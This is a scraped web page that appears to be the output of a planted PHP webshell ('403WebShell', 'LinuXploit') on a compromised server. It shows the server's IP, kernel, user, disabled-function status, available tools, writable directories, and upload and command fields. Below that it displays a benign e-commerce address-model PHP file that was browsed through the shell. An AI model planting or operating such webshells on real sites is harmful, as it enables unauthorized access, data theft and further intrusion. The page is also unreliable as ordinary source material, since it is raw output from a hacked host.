Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/store/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/store/model/address_model.php
<?php

// handle Delivery Addresses
// to do: default address stored in the user table
// remove address


class AddressClass implements JsonSerializable {
	
	use \modules\database\traits {
		\modules\database\traits::__construct as __ConstructDatabase;
	}

	private $guid = NULL;
	private $id_user;
	private $id_address;
	private $name;
	private $addr1;
	private $addr2;
	private $town;
	private $state;
	private $postcode;
	private $country;
	private $changed;
	public  $country_name;

	public function __construct() {
		$this->__ConstructDatabase();
		$this->country_name = '';
	}

	public function Guid() {
		if (func_num_args()) {
			$old_id = $this->guid;
			$this->guid = func_get_arg(0);
			if ($old_id !== $this->guid) {
				$this->Load();
			}
			return $this;
		}
		return $this->guid;
	}

	static
	public function CountryName($value) {
		if (!isset($GLOBALS['country_lookup'])) {
			$GLOBALS['country_lookup'] = [];
			$list = hook_execute('geoip.list', NULL);
			foreach($list as $item) {
				$GLOBALS['country_lookup'][$item['key']] = $item['value'];
			}
		}
		return $GLOBALS['country_lookup'][strtoupper($value)] ?? '??';
	}


	protected function Load() {
		$DATA = $this->Query('select * from `store_delivery`')
					->Where('sd_guid=%s', $this->guid)
					->First();
		$this->LoadFromDataset($DATA);
	}

	public function LoadFromDataset($DATA, $guid = NULL) {
		if ($guid) $this->guid = $guid;
		$this->id_user	= (int) $DATA->sd_user_id ?? 0;
		$this->name		= $DATA->sd_name ?? '';
		$this->addr1	= $DATA->sd_addr1 ?? '';
		$this->addr2	= $DATA->sd_addr2 ?? '';
		$this->town		= $DATA->sd_town ?? '';
		$this->state	= $DATA->sd_state ?? '';
		$this->postcode	= $DATA->sd_postcode ?? '';
		$this->country	= $DATA->sd_country ?? '';
		$this->changed  = FALSE;
		if (!empty($this->country)) {
			$this->country_name = static::CountryName($this->country);
		}
	}

	public function UserId() {
		if (func_num_args()) {
			$this->id_user = func_get_arg(0);
			$this->changed  = TRUE;
			return $this;
		}
		return $this->id_user;
	}
	public function Name() {
		if (func_num_args()) {
			$this->name = trim(func_get_arg(0));
			$this->changed  = TRUE;
			return $this;
		}
		return $this->name;
	}
	public function Addr1() {
		if (func_num_args()) {
			$this->addr1 = trim(func_get_arg(0));
			$this->changed  = TRUE;
			return $this;
		}
		return $this->addr1;
	}
	public function Addr2() {
		if (func_num_args()) {
			$this->addr2 = func_get_arg(0);
			$this->changed  = TRUE;
			return $this;
		}
		return $this->addr2;
	}
	public function Town() {
		if (func_num_args()) {
			$this->town = trim(func_get_arg(0));
			$this->changed  = TRUE;
			return $this;
		}
		return $this->town;
	}
	public function State() {
		if (func_num_args()) {
			$this->state = trim(func_get_arg(0));
			$this->changed  = TRUE;
			return $this;
		}
		return $this->state;
	}
	public function Postcode() {
		if (func_num_args()) {
			$this->postcode = trim(func_get_arg(0));
			$this->changed  = TRUE;
			return $this;
		}
		return $this->postcode;
	}
	public function Country() {
		if (func_num_args()) {
			$this->country = strtoupper(trim(func_get_arg(0)));
			if (!empty($this->country)) {
				$this->country_name = static::CountryName($this->country);
			} else {
				$this->country_name = '';
			}
			$this->changed  = TRUE;
			return $this;
		}
		return $this->country;
	}
	
	public function asHandleBars() {
		$text = '';
		if ($this->addr1 != '') $text .= $this->addr1;
		if ($this->addr2 != '') {
			if ($text != '') $text .= ', ';
			$text .= $this->addr2;
		}
		if ($this->town != '') {
			if ($text != '') $text .= ', ';
			$text .= $this->town;
		}
		if ($this->state != '') {
			if ($text != '') $text .= ', ';
			$text .= $this->state;
		}
		if ($this->postcode != '') {
			if ($text != '') $text .= ', ';
			$text .= $this->postcode;
		}
		if ($this->country_name != '') {
			if ($text != '') $text .= ', ';
			$text .= $this->country_name;
		}
		return [
			'guid'			=> $this->guid,
			'name'			=> $this->name,
			'text'			=> $text,
			'del_a'			=> $this->addr1,
			'addr2'			=> $this->addr2,
			'town'			=> $this->town,
			'state'			=> $this->state,
			'zip'			=> $this->postcode,
			'country'		=> $this->country,
			'country_name'	=> $this->country_name,
		];
	}

	public function isSame($address) {
		return (strtoupper($this->country) === strtoupper($address['country']))
			&& (strtoupper($this->postcode) === strtoupper($address['zip']))			// should be just first 5 for us zip
			&& (strtoupper($this->state) === strtoupper($address['state']))
			&& (strtoupper($this->town) === strtoupper($address['town']))
			&& (strtoupper($this->addr1) === strtoupper($address['del_a']));
		// to do : check name and addr2 if present
	}
	
	public function Save($parent) {
		if (empty($this->guid)) {
			$this->guid = Misc::uuid4();
		}
		$parent->TableName('store_delivery')
				->Autoinc('sd_id')
				->InsertOrUpdate([
					'sd_guid' 		=> $this->guid,
				], [
					'sd_user_id'	=> $this->id_user,
					'sd_name'		=> $this->name,
					'sd_addr1'		=> $this->addr1,
					'sd_addr2'		=> $this->addr2,
					'sd_town'		=> $this->town,
					'sd_state'		=> $this->state,
					'sd_postcode'	=> $this->postcode,
					'sd_country'	=> $this->country,
				]);
		$parent->DbErr();
		$this->changed = FALSE;
	}

	public function asJson() {
		$current = $this->asHandleBars();
		return $current;
	}
	
	public function jsonSerialize() {
		return [
			'guid'			=> $this->guid,
			'name'			=> $this->name,
			'del_a'			=> $this->addr1,
			'addr2'			=> $this->addr2,
			'town'			=> $this->town,
			'state'			=> $this->state,
			'zip'			=> $this->postcode,
			'country'		=> $this->country,
			'country_name'	=> $this->country_name,
		];
	}
}

class StoreAddress_model extends Database_Model {

	private $id_user;
	private $DATA;

	public function UserId() {
		if (func_num_args()) {
			$this->id_user = func_get_arg(0);
			$this->DATA = $this->Load();
			return $this;
		}
		return $this->id_user;
	}

	public function Load() {
		$result = [];

		if ($this->id_user) {
			// get country list
			
			$rows = $this->Query('select * from `store_delivery`')
						->Where('sd_user_id=%d', $this->id_user)
						->Get();

			foreach($rows as $row) {
				$node = new AddressClass();
				$node->LoadFromDataset($row, $row->sd_guid);
				$result[] = $node;
			}
		}
		return $result;
	}
	
	public function asHandleBars() {
		$output = [];
		$delivery_id = '';
		foreach($this->DATA as $address) {
			if ($delivery_id == '') $delivery_id = $address->Guid();
			$output[] = $address->asHandleBars();
		}
		$data = [
			'list_address'	=> $output,
			'can_add'		=> $this->id_user && (count($output) > 0) ? 1 : 0,
			'single' 		=> (!$this->id_user) || (count($output) <= 1) ? 1 : 0,
			'guid'			=> $delivery_id,
		];
		if ( $data['single'] && count($output) ) {
			$data = array_merge($data, $output[0]);
		}
		return $data;
	}
	
	public function AsHandleBars_Single() {
		return count($this->DATA) < 1 ? 1 : 0;
	}

	public function onBlur($post) {
		$guid = trim($post['guid']);
		$data = [
			'sd_name'		=> trim($post['name']),
			'sd_addr1'		=> trim($post['del_a']),
			'sd_addr2'		=> trim($post['addr2']),
			'sd_town'		=> trim($post['town']),
			'sd_state'		=> trim($post['state']),
			'sd_postcode'	=> trim($post['zip']),
			'sd_country'	=> trim($post['country']),
		];
		// check required fields
		$name = '';
		foreach(['sd_name', 'sd_addr1', 'sd_town', 'sd_state', 'sd_postcode', 'sd_country'] as $fieldname) {
			if ($data[$fieldname] == '') {
				if ($name != '') $name .= ', ';
				switch($fieldname) {
					case 'sd_name':
						$name .= 'Name';
						break;
					case 'sd_addr1':
						$name .= 'Address';
						break;
					case 'sd_town':
						$name .= 'City/Town';
						break;
					case 'sd_state':
						$name .= 'State';
						break;
					case 'sd_postcode':
						$name .= 'Zip';
						break;
					case 'sd_country':
						$name .= 'Country';
						break;
				}
			}
		}
		if ($name != '') {
			return [
				'result' => 51064,
				'message' => "Please enter the following: {$name}.",
			];
		}
	
		// insert/update it,  return handlebars to redisplay the table
		$this->TableName('store_delivery')
			->Autoinc('sd_id');
		$data['sd_user_id'] = $this->id_user;
		if ($guid != '') {
			$this->InsertOrUpdate([ 'sd_guid' => $guid ], $data);
		} else {
			$guid = $data['sd_guid'] = Misc::uuid4();
			$this->InsertOrUpdate([ 'sd_id' => NULL ], $data);
		}
		$this->DbErr();
		$this->DATA = $this->Load();		// reload addresses for this user
		
		return $guid;
	}
	
	public function asJson($guid) {
		$current = [];
		foreach($this->DATA as $address) {
			if ($address->Guid() == $guid) {
				$current = $address->asHandleBars();
				break;
			}
		}
		return $current;
	}
	
	public function getZIPcode($delivery_guid) {
		$addr = new AddressClass;
		$addr->Guid($delivery_guid);
		return $addr->Postcode();
	}
	
	public function buildAddress($address) {
		// locate the address in the existing list, and return it
		foreach($this->DATA as $entry) {
			if ($entry->isSame($address)) {
				return $entry->Guid();
			}
		}

		// create a new entry
		$item = new AddressClass;
		$item->UserId($this->UserId())
				->Name($address['name'])
				->Addr1($address['del_a'])
				->Addr2($address['addr2'] ?? '')
				->Town($address['town'])
				->State($address['state'])
				->Postcode($address['zip'])
				->Country($address['country'])
				->Save($this);
		$this->DATA[] = $item;
		return $item->Guid();
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit